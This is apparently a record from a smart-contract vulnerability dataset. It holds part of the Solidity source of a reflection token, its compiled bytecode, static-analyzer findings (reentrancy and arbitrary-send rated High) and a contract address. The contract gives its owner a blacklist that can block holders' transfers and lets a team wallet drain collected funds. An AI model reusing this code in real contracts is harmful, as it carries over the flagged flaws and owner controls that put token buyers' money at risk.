IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ecf565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129f2565b61045e565b6040516101789190612eb4565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613071565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129a3565b61048d565b6040516101e09190612eb4565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612915565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130e6565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a6f565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612915565b610783565b6040516102b19190613071565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612de6565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ecf565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129f2565b61098d565b60405161035b9190612eb4565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a2e565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ac1565b6110c2565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612967565b61120b565b6040516104189190613071565b60405180910390f35b60606040518060400160405280601081526020017f457468657265756d20426f6f6269657300000000000000000000000000000000815250905090565b600061047261046b611292565b848461129a565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611465565b61055b846104a6611292565b610556856040518060600160405280602881526020016137aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c611292565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c249092919063ffffffff16565b61129a565b600190509392505050565b61056e611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fb1565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610667611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fb1565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610752611292565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c88565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d83565b9050919050565b6107dc611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fb1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f28202e202928202e202900000000000000000000000000000000000000000000815250905090565b60006109a161099a611292565b8484611465565b6001905092915050565b6109b3611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fb1565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613387565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c611292565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611df1565b50565b610b7d611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fb1565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613031565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061129a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061293e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061293e565b6040518363ffffffff1660e01b8152600401610e1f929190612e01565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061293e565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e53565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612aea565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161106c929190612e2a565b602060405180830381600087803b15801561108657600080fd5b505af115801561109a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110be9190612a98565b5050565b6110ca611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114e90612fb1565b60405180910390fd5b6000811161119a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119190612f71565b60405180910390fd5b6111c960646111bb83683635c9adc5dea000006120eb90919063ffffffff16565b61216690919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516112009190613071565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561130a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130190613011565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137190612f31565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114589190613071565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612ff1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611545576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153c90612ef1565b60405180910390fd5b60008111611588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157f90612fd1565b60405180910390fd5b611590610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115fe57506115ce610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6157600f60179054906101000a900460ff1615611831573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116da5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117345750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183057600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661177a611292565b73ffffffffffffffffffffffffffffffffffffffff1614806117f05750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117d8611292565b73ffffffffffffffffffffffffffffffffffffffff16145b61182f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182690613051565b60405180910390fd5b5b5b60105481111561184057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118e45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118ed57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119985750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119ee5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a065750600f60179054906101000a900460ff165b15611aa75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5657600080fd5b603c42611a6391906131a7565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ab230610783565b9050600f60159054906101000a900460ff16158015611b1f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b375750600f60169054906101000a900460ff165b15611b5f57611b4581611df1565b60004790506000811115611b5d57611b5c47611c88565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c085750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1257600090505b611c1e848484846121b0565b50505050565b6000838311158290611c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c639190612ecf565b60405180910390fd5b5060008385611c7b9190613288565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cd860028461216690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d03573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d5460028461216690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d7f573d6000803e3d6000fd5b5050565b6000600654821115611dca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc190612f11565b60405180910390fd5b6000611dd46121dd565b9050611de9818461216690919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e7d5781602001602082028036833780820191505090505b5090503081600081518110611ebb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5d57600080fd5b505afa158015611f71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f95919061293e565b81600181518110611fcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461129a565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209a95949392919061308c565b600060405180830381600087803b1580156120b457600080fd5b505af11580156120c8573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120fe5760009050612160565b6000828461210c919061322e565b905082848261211b91906131fd565b1461215b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215290612f91565b60405180910390fd5b809150505b92915050565b60006121a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612208565b905092915050565b806121be576121bd61226b565b5b6121c984848461229c565b806121d7576121d6612467565b5b50505050565b60008060006121ea612479565b91509150612201818361216690919063ffffffff16565b9250505090565b6000808311829061224f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122469190612ecf565b60405180910390fd5b506000838561225e91906131fd565b9050809150509392505050565b600060085414801561227f57506000600954145b156122895761229a565b600060088190555060006009819055505b565b6000806000806000806122ae876124db565b95509550955095509550955061230c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123a185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ed816125eb565b6123f784836126a8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124549190613071565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124af683635c9adc5dea0000060065461216690919063ffffffff16565b8210156124ce57600654683635c9adc5dea000009350935050506124d7565b81819350935050505b9091565b60008060008060008060008060006124f88a6008546009546126e2565b92509250925060006125086121dd565b9050600080600061251b8e878787612778565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061258583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c24565b905092915050565b600080828461259c91906131a7565b9050838110156125e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d890612f51565b60405180910390fd5b8091505092915050565b60006125f56121dd565b9050600061260c82846120eb90919063ffffffff16565b905061266081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126bd8260065461254390919063ffffffff16565b6006819055506126d88160075461258d90919063ffffffff16565b6007819055505050565b60008060008061270e6064612700888a6120eb90919063ffffffff16565b61216690919063ffffffff16565b90506000612738606461272a888b6120eb90919063ffffffff16565b61216690919063ffffffff16565b9050600061276182612753858c61254390919063ffffffff16565b61254390919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279185896120eb90919063ffffffff16565b905060006127a886896120eb90919063ffffffff16565b905060006127bf87896120eb90919063ffffffff16565b905060006127e8826127da858761254390919063ffffffff16565b61254390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061281461280f84613126565b613101565b9050808382526020820190508285602086028201111561283357600080fd5b60005b858110156128635781612849888261286d565b845260208401935060208301925050600181019050612836565b5050509392505050565b60008135905061287c81613764565b92915050565b60008151905061289181613764565b92915050565b600082601f8301126128a857600080fd5b81356128b8848260208601612801565b91505092915050565b6000813590506128d08161377b565b92915050565b6000815190506128e58161377b565b92915050565b6000813590506128fa81613792565b92915050565b60008151905061290f81613792565b92915050565b60006020828403121561292757600080fd5b60006129358482850161286d565b91505092915050565b60006020828403121561295057600080fd5b600061295e84828501612882565b91505092915050565b6000806040838503121561297a57600080fd5b60006129888582860161286d565b92505060206129998582860161286d565b9150509250929050565b6000806000606084860312156129b857600080fd5b60006129c68682870161286d565b93505060206129d78682870161286d565b92505060406129e8868287016128eb565b9150509250925092565b60008060408385031215612a0557600080fd5b6000612a138582860161286d565b9250506020612a24858286016128eb565b9150509250929050565b600060208284031215612a4057600080fd5b600082013567ffffffffffffffff811115612a5a57600080fd5b612a6684828501612897565b91505092915050565b600060208284031215612a8157600080fd5b6000612a8f848285016128c1565b91505092915050565b600060208284031215612aaa57600080fd5b6000612ab8848285016128d6565b91505092915050565b600060208284031215612ad357600080fd5b6000612ae1848285016128eb565b91505092915050565b600080600060608486031215612aff57600080fd5b6000612b0d86828701612900565b9350506020612b1e86828701612900565b9250506040612b2f86828701612900565b9150509250925092565b6000612b458383612b51565b60208301905092915050565b612b5a816132bc565b82525050565b612b69816132bc565b82525050565b6000612b7a82613162565b612b848185613185565b9350612b8f83613152565b8060005b83811015612bc0578151612ba78882612b39565b9750612bb283613178565b925050600181019050612b93565b5085935050505092915050565b612bd6816132ce565b82525050565b612be581613311565b82525050565b6000612bf68261316d565b612c008185613196565b9350612c10818560208601613323565b612c198161345d565b840191505092915050565b6000612c31602383613196565b9150612c3c8261346e565b604082019050919050565b6000612c54602a83613196565b9150612c5f826134bd565b604082019050919050565b6000612c77602283613196565b9150612c828261350c565b604082019050919050565b6000612c9a601b83613196565b9150612ca58261355b565b602082019050919050565b6000612cbd601d83613196565b9150612cc882613584565b602082019050919050565b6000612ce0602183613196565b9150612ceb826135ad565b604082019050919050565b6000612d03602083613196565b9150612d0e826135fc565b602082019050919050565b6000612d26602983613196565b9150612d3182613625565b604082019050919050565b6000612d49602583613196565b9150612d5482613674565b604082019050919050565b6000612d6c602483613196565b9150612d77826136c3565b604082019050919050565b6000612d8f601783613196565b9150612d9a82613712565b602082019050919050565b6000612db2601183613196565b9150612dbd8261373b565b602082019050919050565b612dd1816132fa565b82525050565b612de081613304565b82525050565b6000602082019050612dfb6000830184612b60565b92915050565b6000604082019050612e166000830185612b60565b612e236020830184612b60565b9392505050565b6000604082019050612e3f6000830185612b60565b612e4c6020830184612dc8565b9392505050565b600060c082019050612e686000830189612b60565b612e756020830188612dc8565b612e826040830187612bdc565b612e8f6060830186612bdc565b612e9c6080830185612b60565b612ea960a0830184612dc8565b979650505050505050565b6000602082019050612ec96000830184612bcd565b92915050565b60006020820190508181036000830152612ee98184612beb565b905092915050565b60006020820190508181036000830152612f0a81612c24565b9050919050565b60006020820190508181036000830152612f2a81612c47565b9050919050565b60006020820190508181036000830152612f4a81612c6a565b9050919050565b60006020820190508181036000830152612f6a81612c8d565b9050919050565b60006020820190508181036000830152612f8a81612cb0565b9050919050565b60006020820190508181036000830152612faa81612cd3565b9050919050565b60006020820190508181036000830152612fca81612cf6565b9050919050565b60006020820190508181036000830152612fea81612d19565b9050919050565b6000602082019050818103600083015261300a81612d3c565b9050919050565b6000602082019050818103600083015261302a81612d5f565b9050919050565b6000602082019050818103600083015261304a81612d82565b9050919050565b6000602082019050818103600083015261306a81612da5565b9050919050565b60006020820190506130866000830184612dc8565b92915050565b600060a0820190506130a16000830188612dc8565b6130ae6020830187612bdc565b81810360408301526130c08186612b6f565b90506130cf6060830185612b60565b6130dc6080830184612dc8565b9695505050505050565b60006020820190506130fb6000830184612dd7565b92915050565b600061310b61311c565b90506131178282613356565b919050565b6000604051905090565b600067ffffffffffffffff8211156131415761314061342e565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131b2826132fa565b91506131bd836132fa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131f2576131f16133d0565b5b828201905092915050565b6000613208826132fa565b9150613213836132fa565b925082613223576132226133ff565b5b828204905092915050565b6000613239826132fa565b9150613244836132fa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561327d5761327c6133d0565b5b828202905092915050565b6000613293826132fa565b915061329e836132fa565b9250828210156132b1576132b06133d0565b5b828203905092915050565b60006132c7826132da565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061331c826132fa565b9050919050565b60005b83811015613341578082015181840152602081019050613326565b83811115613350576000848401525b50505050565b61335f8261345d565b810181811067ffffffffffffffff8211171561337e5761337d61342e565b5b80604052505050565b6000613392826132fa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133c5576133c46133d0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61376d816132bc565b811461377857600080fd5b50565b613784816132ce565b811461378f57600080fd5b50565b61379b816132fa565b81146137a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202e9a49ff39adf05e9aab484cd34535ef8fdf0bddfc4a74d7e4567d369cb6327664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
560
0xBC7166DEE7B0D157fa949d4b7c0Cc75982F3aE14
